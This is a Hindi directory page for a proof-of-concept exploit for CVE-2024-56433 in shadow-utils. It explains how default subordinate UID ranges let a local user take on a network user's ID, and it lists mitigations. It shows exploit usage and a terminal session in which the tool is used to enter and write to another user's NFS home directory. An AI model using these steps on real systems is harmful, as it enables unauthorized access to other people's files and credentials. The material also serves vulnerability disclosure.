Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/jonnywhatshisface/cve-2024-56433
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubjonnywhatshisface/cve-2024-56433

CVE-2024-56433

CVE-2024-56433 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो shadow-utils सबऑर्डिनेट ID टकराव के माध्यम से विशेषाधिकार वृद्धि प्रदर्शित करता है ताकि अन्य उपयोगकर्ताओं के डेटा तक पहुंचा जा सके।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
81 साल पहलेअभी तक समीक्षित नहीं

CVE-2024-56433

shadow-utils - स्थानीय उपयोगकर्ताओं के लिए असुरक्षित डिफ़ॉल्ट अधीनस्थ ID असाइनमेंट

सारांश

डिफ़ॉल्ट अधीनस्थ ID असाइनमेंट मौजूदा उपयोगकर्ता ID के साथ टकराव का जोखिम पैदा करता है, जिससे UID/GID को मनमाने ढंग से बदलने और डेटा तथा नेटवर्क संसाधनों तक अनधिकृत पहुंच प्राप्त करने की संभावना बनती है।

प्रभावित संस्करण

आधार पैकेज: shadow-utils 4.4 - 4.17.0

प्रभावित Linux वितरण

पुष्टि की गई: Debian 12, Red Hat Enterprise Linux 9, Red Hat Enterprise Linux 10. shadow-utils 4.4 और उससे अधिक का उपयोग करने वाले सभी हालिया संस्करणों के वितरण।

संदर्भ

  • https://www.cve.org/CVERecord?id=CVE-2024-56433
  • https://github.com/JonnyWhatshisface/CVE-2024-56433
  • https://github.com/shadow-maint/shadow/issues/1157
  • https://github.com/shadow-maint/shadow/blob/e2512d5741d4a44bdd81a8c2d0029b6222728cf0/etc/login.defs#L238-L241
  • https://github.com/shadow-maint/shadow/releases/tag/4.4

विवरण

Shadow-utils ने स्थानीय उपयोगकर्ताओं को अधीनस्थ ID सौंपने के लिए डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ शिपिंग शुरू किया।

$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN  100000
SUB_UID_MAX  600100000
SUB_UID_COUNT  65536
SUB_GID_MIN  100000
SUB_GID_MAX  600100000
SUB_GID_COUNT  65536
#GRANT_AUX_GROUP_SUBIDS yes
$

जब shadow-utils टूल (adduser, useradd और सिस्टम इंस्टॉल के दौरान) में से किसी के माध्यम से सिस्टम में नए स्थानीय उपयोगकर्ता जोड़े जाते हैं, तो प्रत्येक उपयोगकर्ता को UID/GID 100000 से शुरू होने वाले 65,536 UID और GID का एक अद्वितीय ब्लॉक दिया जाता है। उदाहरण के लिए, निम्नलिखित सिस्टम में दो स्थानीय उपयोगकर्ता जोड़े गए हैं:

$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$

अधीनस्थ ID कॉन्फ़िगरेशन निर्दिष्ट रेंज के उपयोग के अधिकार को उपयोगकर्ता नेमस्पेस में उपयोगकर्ता को सौंपता है और इसका उपयोग अक्सर रूटलेस कंटेनरीकरण के लिए किया जाता है। हालांकि, कंटेनरीकरण उपयोगिताओं की आवश्यकता नेमस्पेस में प्रवेश करने के लिए नहीं है और इसे कई तरीकों से किया जा सकता है, जिसमें डिफ़ॉल्ट shadow-utils टूलिंग 'newuidmap' और 'newgidmap' का उपयोग शामिल है। यह उपयोगकर्ता को उन्हें सौंपी गई रेंज के भीतर किसी भी ID के POSIX उपयोगकर्ता ID में मनमाने ढंग से बदलने की अनुमति देता है।

उदाहरण

निम्नलिखित उदाहरण में, उपयोगकर्ता ID Jon - UID/GID 1000 - को 100000 से शुरू होने वाली 65,536 ID की UID/GID रेंज सौंपी गई है। नेटवर्क में केंद्रीकृत उपयोगकर्ता प्रबंधन और लॉगिन के लिए LDAP के माध्यम से अन्य ID कॉन्फ़िगर की गई हैं, जिनमें नेटवर्क उपयोगकर्ताओं के होम डायरेक्टरी NFS पर हैं।

UID/GID 108372 नेटवर्क उपयोगकर्ता msteph से संबंधित है।

इंस्टॉल के दौरान बनाए गए डिफ़ॉल्ट अधीनस्थ UID/GID आवंटन का लाभ उठाकर, स्थानीय उपयोगकर्ता नेटवर्क उपयोगकर्ता की ID पर स्विच कर सकता है और फिर NFS होम डायरेक्टरी तक पहुंच प्राप्त कर सकता है, उपयोगकर्ता के रूप में फ़ाइलें पढ़ और लिख सकता है।

jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$

जबकि NFS का उपयोग उदाहरण के रूप में किया गया था, यह केवल NFS पहुंच से परे है। जहां Kerberos क्रेडेंशियल स्थानीय सिस्टम पर संग्रहीत हो सकते हैं, ऐसे इंफ्रास्ट्रक्चर जोखिम में आ जाते हैं, क्योंकि क्रेडेंशियल स्थानीय सिस्टम से प्राप्त किए जा सकते हैं और अन्य kerberized सेवाओं तक पहुंच संभव हो जाती है।

शमन

/etc/login.defs में SUB_ प्रविष्टियों को हटा दिया जाना चाहिए। /etc/subuid और /etc/subgid में कोई भी ऐसी प्रविष्टियाँ जो अपेक्षित नहीं हैं, उन्हें भी हटा दिया जाना चाहिए।

POC

वांछित आवंटित अधीनस्थ ID में UID/GID बदलने के लिए POC subdo.c और subdo.py के रूप में संलग्न है।

POC आंतरिक और बाहरी ID को समान ID पर मैप करता है, फिर नेमस्पेस के भीतर उस ID पर setuid() और setgid() करता है, जिसका अर्थ है कि नेमस्पेस में शेल के भीतर निष्पादित सभी कमांड अब होस्ट पर उस uid/gid के रूप में निष्पादित हो रहे हैं।

subdo.c

वांछित अधीनस्थ UID/GID के रूप में किसी भी कमांड और तर्कों के निष्पादन की अनुमति देता है।

Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example: 
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$

subdo.py

वांछित अधीनस्थ UID/GID के रूप में /bin/bash निष्पादित करता है।

Usage: ./subdo.py -u $uid -g $gid
Example: 
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
टूल डाउनलोड करें